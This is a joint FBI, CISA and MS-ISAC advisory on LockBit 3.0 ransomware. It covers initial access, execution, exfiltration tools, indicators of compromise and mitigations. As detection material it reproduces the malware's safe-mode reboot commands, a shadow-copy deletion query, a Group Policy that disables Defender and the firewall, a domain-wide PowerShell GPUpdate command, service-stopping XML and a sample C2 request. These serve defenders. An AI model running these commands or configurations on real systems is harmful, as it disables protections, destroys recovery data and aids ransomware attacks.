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Cybersecurity Advisory


#STOPRANSOMWARE: LOCKBIT 3.0

Release Date
March 16, 2023
Alert Code
AA23-075A


SUMMARY

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing
#StopRansomware effort to publish advisories for network defenders that detail
ransomware variants and ransomware threat actors. These #StopRansomware
advisories include recently and historically observed tactics, techniques, and
procedures (TTPs) and indicators of compromise (IOCs) to help organizations
protect against ransomware. Visit stopransomware.gov to see all #StopRansomware
advisories and to learn more about other ransomware threats and no-cost
resources.

Actions to take today to mitigate cyber threats from ransomware:

 * Prioritize remediating known exploited vulnerabilities.
 * Train users to recognize and report phishing attempts.
 * Enable and enforce phishing- resistant multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure
Security Agency (CISA), and the Multi-State Information Sharing & Analysis
Center (MS-ISAC) are releasing this joint CSA to disseminate known LockBit 3.0
ransomware IOCs and TTPs identified through FBI investigations as recently as
March 2023.

The LockBit 3.0 ransomware operations function as a Ransomware-as-a-Service
(RaaS) model and is a continuation of previous versions of the ransomware,
LockBit 2.0, and LockBit. Since January 2020, LockBit has functioned as an
affiliate-based ransomware variant; affiliates deploying the LockBit RaaS use
many varying TTPs and attack a wide range of businesses and critical
infrastructure organizations, which can make effective computer network defense
and mitigation challenging.

The FBI, CISA, and the MS-ISAC encourage organizations to implement the
recommendations in the mitigations section of this CSA to reduce the likelihood
and impact of ransomware incidents.

Download the PDF version of this report: 

#StopRansomware: Lockbit (PDF, 688.70 KB )

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12.
See the MITRE ATT&CK Tactics and Techniques section for a table of the threat
actors’ activity mapped to MITRE ATT&CK for Enterprise(link is external).

CAPABILITIES

LockBit 3.0, also known as “LockBit Black,” is more modular and evasive than its
previous versions and shares similarities with Blackmatter and Blackcat
ransomware.

LockBit 3.0 is configured upon compilation with many different options that
determine the behavior of the ransomware. Upon the actual execution of the
ransomware within a victim environment, various arguments can be supplied to
further modify the behavior of the ransomware. For example, LockBit 3.0 accepts
additional arguments for specific operations in lateral movement and rebooting
into Safe Mode (see LockBit Command Line parameters under Indicators of
Compromise). If a LockBit affiliate does not have access to passwordless LockBit
3.0 ransomware, then a password argument is mandatory during the execution of
the ransomware. LockBit 3.0 affiliates failing to enter the correct password
will be unable to execute the ransomware [T1480.001(link is external)]. The
password is a cryptographic key which decodes the LockBit 3.0 executable. By
protecting the code in such a manner, LockBit 3.0 hinders malware detection and
analysis with the code being unexecutable and unreadable in its encrypted form.
Signature-based detections may fail to detect the LockBit 3.0 executable as the
executable’s encrypted potion will vary based on the cryptographic key used for
encryption while also generating a unique hash. When provided the correct
password, LockBit 3.0 will decrypt the main component, continue to decrypt or
decompress its code, and execute the ransomware.

LockBit 3.0 will only infect machines that do not have language settings
matching a defined exclusion list. However, whether a system language is checked
at runtime is determined by a configuration flag originally set at compilation
time. Languages on the exclusion list include, but are not limited to, Romanian
(Moldova), Arabic (Syria), and Tatar (Russia). If a language from the exclusion
list is detected [T1614.001(link is external)], LockBit 3.0 will stop execution
without infecting the system.

INITIAL ACCESS

Affiliates deploying LockBit 3.0 ransomware gain initial access to victim
networks via remote desktop protocol (RDP) exploitation [T1133(link is
external)], drive-by compromise [T1189(link is external)], phishing campaigns
[T1566(link is external)], abuse of valid accounts [T1078(link is external)],
and exploitation of public-facing applications [T1190(link is external)].

EXECUTION AND INFECTION PROCESS

During the malware routine, if privileges are not sufficient, LockBit 3.0
attempts to escalate to the required privileges [TA0004(link is external)].
LockBit 3.0 performs functions such as:

 * Enumerating system information such as hostname, host configuration, domain
   information, local drive configuration, remote shares, and mounted external
   storage devices [T1082(link is external)]
 * Terminating processes and services [T1489(link is external)]
 * Launching commands [TA0002(link is external)]
 * Enabling automatic logon for persistence and privilege escalation [T1547(link
   is external)]
 * Deleting log files, files in the recycle bin folder, and shadow copies
   residing on disk [T1485(link is external)], [T1490(link is external)]

LockBit 3.0 attempts to spread across a victim network by using a preconfigured
list of credentials hardcoded at compilation time or a compromised local account
with elevated privileges [T1078(link is external)]. When compiled, LockBit 3.0
may also enable options for spreading via Group Policy Objects and PsExec using
the Server Message Block (SMB) protocol. LockBit 3.0 attempts to encrypt
[T1486(link is external)] data saved to any local or remote device, but skips
files associated with core system functions.

After files are encrypted, LockBit 3.0 drops a ransom note with the new filename
<Ransomware ID>.README.txt and changes the host’s wallpaper and icons to LockBit
3.0 branding [T1491.001(link is external)]. If needed, LockBit 3.0 will send
encrypted host and bot information to a command and control (C2) server
[T1027(link is external)].

Once completed, LockBit 3.0 may delete itself from the disk [T1070.004(link is
external)] as well as any Group Policy updates that were made, depending on
which options were set at compilation time.

EXFILTRATION

LockBit 3.0 affiliates use Stealbit, a custom exfiltration tool used previously
with LockBit 2.0 [TA0010(link is external)]; rclone, an open-source command line
cloud storage manager [T1567.002(link is external)]; and publicly available file
sharing services, such as MEGA [T1567.002(link is external)], to exfiltrate
sensitive company data files prior to encryption. While rclone and many publicly
available file sharing services are primarily used for legitimate purposes, they
can also be used by threat actors to aid in system compromise, network
exploration, or data exfiltration. LockBit 3.0 affiliates often use other
publicly available file sharing services to exfiltrate data as well [T1567(link
is external)] (see Table 1).

Table 1: Anonymous File Sharing Sites Used to Exfiltrate Data Before System
Encryption File Sharing Site https://www.premiumize[.]com
https://anonfiles[.]com https://www.sendspace[.]com https://fex[.]net
https://transfer[.]sh https://send.exploit[.]in

LEVERAGING FREEWARE AND OPEN-SOURCE TOOLS

LockBit affiliates have been observed using various freeware and open-source
tools during their intrusions. These tools are used for a range of activities
such as network reconnaissance, remote access and tunneling, credential dumping,
and file exfiltration. Use of PowerShell and Batch scripts
are observed across most intrusions, which focus on system discovery,
reconnaissance, password/credential hunting, and privilege escalation. Artifacts
of professional penetration-testing tools such as Metasploit and Cobalt Strike
have also been observed. See Table 2 for a list of legitimate freeware and
open-source tools LockBit affiliates have repurposed for ransomware operations:

Table 2: Freeware and Open-Source Tools Used by LockBit 3.0 Affiliates Tool
Description MITRE ATT&CK ID Chocolatey Command-line package manager for Windows.
T1072(link is external) FileZilla Cross-platform File Transfer Protocol (FTP)
application. T1071.002(link is external) Impacket Collection of Python classes
for working with network protocols. S0357(link is external) MEGA Ltd MegaSync
Cloud-based synchronization tool. T1567.002(link is external) Microsoft
Sysinternals ProcDump Generates crash dumps. Commonly used to dump the contents
of Local Security Authority Subsystem Service, LSASS.exe. T1003.001(link is
external) Microsoft Sysinternals PsExec Execute a command-line process on a
remote machine. S0029(link is external) Mimikatz Extracts credentials from
system. S0002(link is external) Ngrok Legitimate remote-access tool abused to
bypass victim network protections. S0508(link is external) PuTTY Link (Plink)
Can be used to automate Secure Shell (SSH) actions on Windows. T1572(link is
external) Rclone Command-line program to manage cloud storage files S1040(link
is external) SoftPerfect Network Scanner Performs network scans. T1046(link is
external) Splashtop Remote-desktop software. T1021.001(link is external) WinSCP
SSH File Transfer Protocol client for Windows. T1048(link is external)

INDICATORS OF COMPROMISE (IOCS)

The IOCs and malware characteristics outlined below were derived from field
analysis. The following samples are current as of March 2023.

LockBit 3.0 Black Icon



 

 

LockBit 3.0 Wallpaper



 

 

 

LockBit Command Line Parameters

LockBit Parameters Description

-del

Self-delete.

-gdel

Remove LockBit 3.0 group policy changes.

-gspd

Spread laterally via group policy.

-pass (32 character value)

(Required) Password used to launch LockBit 3.0.

-path (File or path)

Only encrypts provided file or folder.

-psex

Spread laterally via admin shares.

-safe

Reboot host into Safe Mode.

-wall

Sets LockBit 3.0 Wallpaper and prints out LockBit 3.0 ransom note.

MUTUAL EXCLUSION OBJECT (MUTEX) CREATED

When executed, LockBit 3.0 will create the mutex, Global\<MD4 hash of machine
GUID>,
and check to see if this mutex has already been created to avoid running more
than one instance of the ransomware.

UAC BYPASS VIA ELEVATED COM INTERFACE

LockBit 3.0 is capable of bypassing User Account Control (UAC) to execute code
with elevated privileges via elevated Component Object Model (COM) Interface.
C:\Windows\System32\dllhost.exe is spawned with high integrity with the command
line GUID 3E5FC7F9-9A51-4367-9063-A120244FBEC.

For example, %SYSTEM32%\dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063-
A120244FBEC7}.

VOLUME SHADOW COPY DELETION

LockBit 3.0 uses Windows Management Instrumentation (WMI) to identify and delete
Volume Shadow Copies. LockBit 3.0 uses select * from Win32_ShadowCopy to query
for Volume Shadow copies, Win32_ShadowCopy.ID to obtain the ID of the shadow
copy, and DeleteInstance to delete any shadow copies.

REGISTRY ARTIFACTS

LockBit 3.0 Icon

Registry Key Value Data

HKCR\. <Malware Extension>

(Default)

<Malware Extension>

HKCR\<Malware
Extension>\DefaultIcon

(Default)

C:\ProgramData\<Mal
ware Extension>.ico

LockBit 3.0 Wallpaper

Registry Key Value Data

HKCU\Control Panel\Desktop\WallPaper

(Default)

C:\ProgramData\<Mal ware Extension>.bmp

Disable Privacy Settings Experience

Registry Key Value Data

SOFTWARE\Policies\Microsoft\Win
dows\OOBE

DisablePrivacyE
xperience

0

Enable Automatic Logon

Registry Key Value Data

SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon

AutoAdminLogon

1

 

DefaultUserName

<username>

 

DefaultDomainNa
me

<domain name>

 

DefaultPassword

<password>

Disable and Clear Windows Event Logs

Registry Key Value Data

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\WINEVT\Channels
\*

Enabled

0

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\WINEVT\Channels
\* \ChannelAccess

ChannelAccess

AO:BAG:SYD:(A;;0x1;;
;SY)(A;;0x5;;;BA)(A;
;0x1;;;LA)

RANSOM LOCATIONS

LockBit 3.0 File Path Locations

ADMIN$\Temp\<LockBit3.0 Filename>.exe

%SystemRoot%\Temp\<LockBit3.0 Filename>.exe

\<Domain Name>\sysvol\<Domain Name>\scripts\<Lockbit 3.0
Filename>.exe (Domain Controller)

SAFE MODE LAUNCH COMMANDS

LockBit 3.0 has a Safe Mode feature to circumvent endpoint antivirus and
detection. Depending upon the host operating system, the following command is
launched to reboot the system to Safe Mode with Networking:

Operating System Safe Mode with Networking command Vista and newer

bcdedit /set {current} safeboot network

Pre-Vista

bootcfg /raw /a /safeboot:network /id 1

Operating System Disable Safe mode reboot Vista and newer

bcdedit /deletevalue {current} safeboot

Pre-Vista

bootcfg /raw /fastdetect /id 1

GROUP POLICY ARTIFACTS

The following are Group Policy Extensible Markup Language (XML) files identified
after a LockBit 3.0 infection:

NetworkShares.xml <?xml version="1.0" encoding="utf-8"?>
<NetworkShareSettings clsid="{520870D8-A6E7-47e8-A8D8-E6A4E76EAEC2}">
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}"
image="2" name="%%ComputerName%%_D" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_D" path="D:" comment=""
allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE"
abe="NO_CHANGE"/>

Services.xml stops and disables services on the Active Directory (AD) hosts.

Services.xml <?xml version="1.0" encoding="utf-8"?>
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}">
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBDMS" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBENGINE" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBENGINE"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLFDLauncher" image="4" changed="%s" uid="%s" userContext="0"
removePolicy="0" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLFDLauncher"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLSERVERAGENT" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLSERVERAGENT"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLServerOLAPService"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSASTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSASTELEMETRY"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLBrowser" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLBrowser" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Client" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay
Client" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Controller" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay
Controller" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MsDtsServer150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MsDtsServer150"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISTELEMETRY150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISTELEMETRY150"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISScaleOutMaster150"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISScaleOutWorker150"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLLaunchpad" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLLaunchpad"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLWriter" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLWriter" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLTELEMETRY"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLSERVER" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLSERVER"
serviceAction="STOP" timeout="60"/>
</NTService>
</NTServices>

REGISTRY.POL

The following registry configuration changes values for the Group Policy refresh
time, disable SmartScreen, and disable Windows Defender.

Registry Key Registry Value Value type Data

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

GroupPolicyRefresh
TimeDC

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

GroupPolicyRefresh
TimeOffsetDC

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

GroupPolicyRefresh
Time

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

GroupPolicyRefresh
TimeOffset

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

EnableSmartScreen

REG_D
WORD

0

HKLM\SOFTWARE\Policies\Microsoft\Window
s\System

**del.ShellSmartSc
reenLevel

REG_S
Z

 

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender

DisableAntiSpyware

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender

DisableRoutinelyTa
kingAction

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender\Real-Time Protection

DisableRealtimeMon
itoring

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender\Real-Time Protection

DisableBehaviorMon
itoring

REG_D
WORD

1

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender\Spynet

SubmitSamplesConse
nt

REG_D
WORD

2

HKLM\SOFTWARE\Policies\Microsoft\Window
s Defender\Spynet

SpynetReporting

REG_D
WORD

0

HKLM\SOFTWARE\Policies\Microsoft\Window
sFirewall\DomainProfile

EnableFirewall

REG_D
WORD

0

HKLM\SOFTWARE\Policies\Microsoft\Window
sFirewall\StandardProfile

EnableFirewall

REG_D
WORD

0

FORCE GPUPDATE

Once new group policies are added, a PowerShell command using Group Policy
update (GPUpdate) applies the new group policy changes to all computers on the
AD domain.

Force GPUpdate Powershell Command powershell Get-ADComputer -filter *
-Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force
-RandomDelayInMinutes 0}

SERVICES KILLED

vss sql svc$ memtas mepocs msexchange sophos veeam backup GxVss GxBlr GxFWD
GxCVD GxCIMgr  

PROCESSES KILLED

sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice
ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice
excel infopath msaccess mspu onenote outlook powerpnt steam thebat thunderbird
visio winword wordpad notepad    

LOCKBIT 3.0 RANSOM NOTE

> ~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~
> >>>>> Your data is stolen and encrypted.
> If you don't pay the ransom, the data will be published on our TOR darknet
> sites. Keep in mind that once your data appears on our leak site, it could be
> bought by your competitors at any second, so don't hesitate for a long time.
> The sooner you pay the ransom, the sooner your company will be safe.

NETWORK CONNECTIONS

If configured, Lockbit 3.0 will send two HTTP POST requests to one of the
C2servers. Information about the victim host and bot are encrypted with an
Advanced Encryption Standard (AES) key and encoded in Base64.

Example of HTTP POST request
POST <Lockbit C2>/?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYyT6b7kdyeEXywS8I8 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br Content-Type: text/plain
User-Agent: Safari/537.36 <Lockbit User Agent String>
Host: <Lockbit C2>
Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=<Lockbit
ID>&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1guL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP=<Base64 encrypted data> Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpba&8sr=EndL4n0HVZjxPR& m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcyhy=l68FrIdBESIvfCkvYl
Example of information found in encrypted data
{
"bot_version":"X",
"bot_id":"X",
"bot_company":"X", "host_hostname":"X", "host_user":"X",
"host_os":"X",
"host_domain":"X",
"host_arch":"X",
"host_lang":"X", "disks_info":[
{
"disk_name":"X",
"disk_size":"XXXX", "free_size":"XXXXX"
}

USER AGENT STRINGS

Mozilla/5.0 (Windows NT
6.1) AppleWebKit/587.38
(KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edge/91.0.864.37
Firefox/89.0 Gecko/20100101    

MITRE ATT&CK TECHNIQUES

See Table 3 for all referenced threat actor tactics and techniques in this
advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s
Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

Table 3: LockBit 3.0 Actors ATT&CK Techniques for Enterprise Initial Access    
Technique Title ID Use Valid Accounts T1078(link is external) LockBit 3.0 actors
obtain and abuse credentials of existing accounts as a means of gaining initial
access. Exploit External Remote Services T1133(link is external) LockBit 3.0
actors exploit RDP to gain access to victim networks. Drive-by Compromise
T1189(link is external) LockBit 3.0 actors gain access to a system through a
user visiting a website over the normal course of browsing. Exploit
Public-Facing Application T1190(link is external) LockBit 3.0 actors exploit
vulnerabilities in internet-facing systems to gain access to victims’ systems.
Phishing T1566(link is external) LockBit 3.0 actors use phishing and
spearphishing to gain access to victims' networks. Execution     Technique Title
ID Use Execution TA0002(link is external) LockBit 3.0 launches commands during
its execution. Software Deployment Tools T1072(link is external) LockBit 3.0
uses Chocolatey, a command- line package manager for Windows. Persistence    
Technique Title ID Use Valid Accounts T1078(link is external) LockBit 3.0 uses a
compromised user account to maintain persistence on the target network. Boot or
Logo Autostart Execution T1547(link is external) LockBit 3.0 enables automatic
logon for persistence. Privilege Escalation     Technique Title ID Use Privilege
Escalation TA0004(link is external) Lockbit 3.0 will attempt to escalate to the
required privileges if current account privileges are insufficient. Boot or Logo
Autostart Execution T1547(link is external) LockBit 3.0 enables automatic logon
for privilege escalation. Defense Evasion     Technique Title ID Use Obfuscated
Files or Information T1027(link is external) LockBit 3.0 will send encrypted
host and bot information to its C2 servers. Indicator Removal: File Deletion
T1070.004(link is external) LockBit 3.0 will delete itself from the disk.
Execution Guardrails: Environmental Keying T1480.001(link is external) LockBit
3.0 will only decrypt the main component or continue to decrypt and/or
decompress data if the correct password is entered. Credential Access    
Technique Title ID Use OS Credential Dumping: LSASS Memory T1003.001(link is
external) LockBit 3.0 uses Microsoft Sysinternals ProDump to dump the contents
of LSASS.exe. Discovery     Technique Title ID Use Network Service Discovery
T1046(link is external) LockBit 3.0 uses SoftPerfect Network Scanner to scan
target networks. System Information Discovery T1082(link is external) LockBit
3.0 will enumerate system information to include hostname, host configuration,
domain information, local drive configuration, remote shares, and mounted
external storage devices. System Location   Discovery: System Language Discovery
T1614.001(link is external) LockBit 3.0 will not infect machines with language
settings that match a defined exclusion list. Lateral Movement     Technique
Title ID Use Remote Services:   Remote Desktop Protocol T1021.001(link is
external) LockBit 3.0 uses Splashtop remote- desktop software to facilitate
lateral movement. Command and Control     Technique Title ID Use Application
Layer Protocol: File Transfer Protocols T1071.002(link is external) LockBit 3.0
uses FileZilla for C2. Protocol Tunnel T1572(link is external) LockBit 3.0 uses
Plink to automate SSH actions on Windows. Exfiltration     Technique Title ID
Use Exfiltration TA0010(link is external) LockBit 3.0 uses Stealbit, a custom
exfiltration tool first used with LockBit 2.0, to steal data from a target
network. Exfiltration Over Web Service T1567(link is external) LockBit 3.0 uses
publicly available file sharing services to exfiltrate a target’s data.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002(link is
external) LockBit 3.0 actors use (1) rclone, an open source command line cloud
storage manager to exfiltrate and (2) MEGA, a publicly available file sharing
service for data exfiltration. Impact     Technique Title ID Use Data
Destruction T1485(link is external) LockBit 3.0 deletes log files and empties
the recycle bin. Data Encrypted for Impact T1486(link is external) LockBit 3.0
encrypts data on target systems to interrupt availability to system and network
resources. Service Stop T1489(link is external) LockBit 3.0 terminates processes
and services. Inhibit System Recovery T1490(link is external) LockBit 3.0
deletes volume shadow copies residing on disk. Defacement: Internal Defacement
T1491.001(link is external) LockBit 3.0 changes the host system’s wallpaper and
icons to the LockBit 3.0 wallpaper and icons, respectively.

MITIGATIONS

The FBI, CISA, and the MS-ISAC recommend organizations implement the mitigations
below to improve your organization’s cybersecurity posture on the basis of
LockBit 3.0’s activity. These mitigations align with the Cross-Sector
Cybersecurity Performance Goals (CPGs) developed by CISA and the National
Institute of Standards and Technology (NIST). The CPGs provide a minimum set of
practices and protections that CISA and NIST recommend all organizations
implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and
guidance to protect against the most common and impactful TTPs. Visit CISA’s
Cross-Sector Cybersecurity Performance Goals for more information on the CPGs,
including additional recommended baseline protections.

 * Implement a recovery plan to maintain and retain multiple copies of sensitive
   or proprietary data and servers [CPG 7.3] in a physically separate,
   segmented, and secure location (e.g., hard drive, storage device, the cloud).
 * Require all accounts with password logins (e.g., service account, admin
   accounts, and domain admin accounts) to comply with National Institute for
   Standards and Technology (NIST) standards(link is external) for developing
   and managing password policies [CPG 3.4].
   * Use longer passwords consisting of at least 8 characters and no more than
     64 characters in length [CPG 1.4]
   * Store passwords in hashed format using industry-recognized password
     managers
   * Add password user “salts” to shared login credentials
   * Avoid reusing passwords
   * Implement multiple failed login attempt account lockouts [CPG 1.1]
   * Disable password “hints”
   * Refrain from requiring password changes more frequently than once per
     year. Note: NIST guidance suggests favoring longer passwords instead of
     requiring regular and frequent password resets. Frequent password resets
     are more likely to result in users developing password “patterns” cyber
     criminals can easily decipher.
   * Require administrator credentials to install software
 * Require phishing-resistant multifactor authentication [CPG 1.3] for all
   services to the extent possible, particularly for webmail, virtual private
   networks, and accounts that access critical systems.
 * Keep all operating systems, software, and firmware up to date. Timely
   patching is one of the most efficient and cost-effective steps an
   organization can take to minimize its exposure to cybersecurity threats.
 * Segment networks [CPG 8.1] to prevent the spread of ransomware. Network
   segmentation can help prevent the spread of ransomware by controlling traffic
   flows between—and access to—various subnetworks and by restricting adversary
   lateral movement.
 * Identify, detect, and investigate abnormal activity and potential traversal
   of the indicated ransomware with a networking monitoring tool. To aid in
   detecting the ransomware, implement a tool that logs and reports all network
   traffic, including lateral movement activity on a network [CPG 5.1]. Endpoint
   detection and response (EDR) tools are particularly useful for detecting
   lateral connections as they have insight into common and uncommon network
   connections for each host.
 * Install, regularly update, and enable real time detection for antivirus
   software on all hosts.
 * Review domain controllers, servers, workstations, and active directories for
   new and/or unrecognized accounts.
 * Audit user accounts with administrative privileges and configure access
   controls according to the principle of least privilege [CPG 1.5].
 * Disable unused ports.
 * Consider adding an email banner to emails [CPG 8.3] received from outside
   your organization.
 * Disable hyperlinks in received emails.
 * Implement time-based access for accounts set at the admin level and higher.
   For example, the Just-in-Time (JIT) access method provisions privileged
   access when needed and can support enforcement of the principle of least
   privilege (as well as the Zero Trust model). This is a process where a
   network-wide policy is set in place to automatically disable admin accounts
   at the Active Directory level when the account is not in direct need.
   Individual users may submit their requests through an automated process that
   grants them access to a specified system for a set timeframe when they need
   to support the completion of a certain task.
 * Disable command-line and scripting activities and permissions. Privilege
   escalation and lateral movement often depend on software utilities running
   from the command line. If threat actors are not able to run these tools, they
   will have difficulty escalating privileges and/or moving laterally.
 * Maintain offline backups of data, and regularly maintain backup and
   restoration [CPG 7.3]. By instituting this practice, the organization ensures
   they will not be severely interrupted, and/or only have irretrievable data.
 * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or
   deleted), and covers the entire organization’s data infrastructure [CPG 3.3].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and the MS-ISAC recommend
exercising, testing, and validating your organization's security program against
the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this
advisory. The FBI, CISA, and the MS-ISAC authoring agencies recommend testing
your existing security controls inventory to assess how they perform against the
ATT&CK techniques described in this advisory.
To get started:

 1. Select an ATT&CK technique described in this advisory (see Table 3).
 2. Align your security technologies against the technique.
 3. Test your technologies against the technique.
 4. Analyze your detection and prevention technologies performance.
 5. Repeat the process for all security technologies to obtain a set of
    comprehensive performance data.
 6. Tune your security program, including people, processes, and technologies,
    based on the data generated by this process.

The FBI, CISA, and the MS-ISAC recommend continually testing your security
program at scale and in a production environment to ensure optimal performance
against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

 * Stopransomware.gov(link is external) is a whole-of-government approach that
   gives one central location for ransomware resources and alerts.
 * Resource to mitigate a ransomware attack: CISA-Multi-State Information
   Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
 * No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware
   Readiness Assessment(link is external).

REPORTING

The FBI is seeking any information that can be legally shared, including:

 * Boundary logs showing communication to and from foreign IP addresses
 * Sample ransom note
 * Communications with LockBit 3.0 actors
 * Bitcoin wallet information
 * Decryptor files
 * Benign sample of an encrypted file

The FBI, CISA, and MS-ISAC do not encourage paying ransom, as payment does not
guarantee victim files will be recovered. Furthermore, payment may also embolden
adversaries to target additional organizations, encourage other criminal actors
to engage in the distribution of ransomware, and/or fund illicit activities.
Regardless of whether you or your organization have decided to pay the ransom,
the FBI and CISA urge you to promptly report ransomware incidents to a local FBI
Field Office(link is external) or CISA at report@cisa.gov(link sends email).
State, local, tribal, and territorial (SLTT) government entities can also report
to the MS-ISAC (SOC@cisecurity.org(link sends email) or 866-787-4722).

DISCLAIMER

The information in this report is being provided “as is” for informational
purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial
product or service, including any subjects of analysis. Any reference to
specific commercial products, processes, or services by service mark, trademark,
manufacturer, or otherwise, does not constitute or imply endorsement,
recommendation, or favoring by the FBI, CISA, or the MS-ISAC.


ADVISORY MATERIALS

#StopRansomware: Lockbit (PDF, 688.70 KB )



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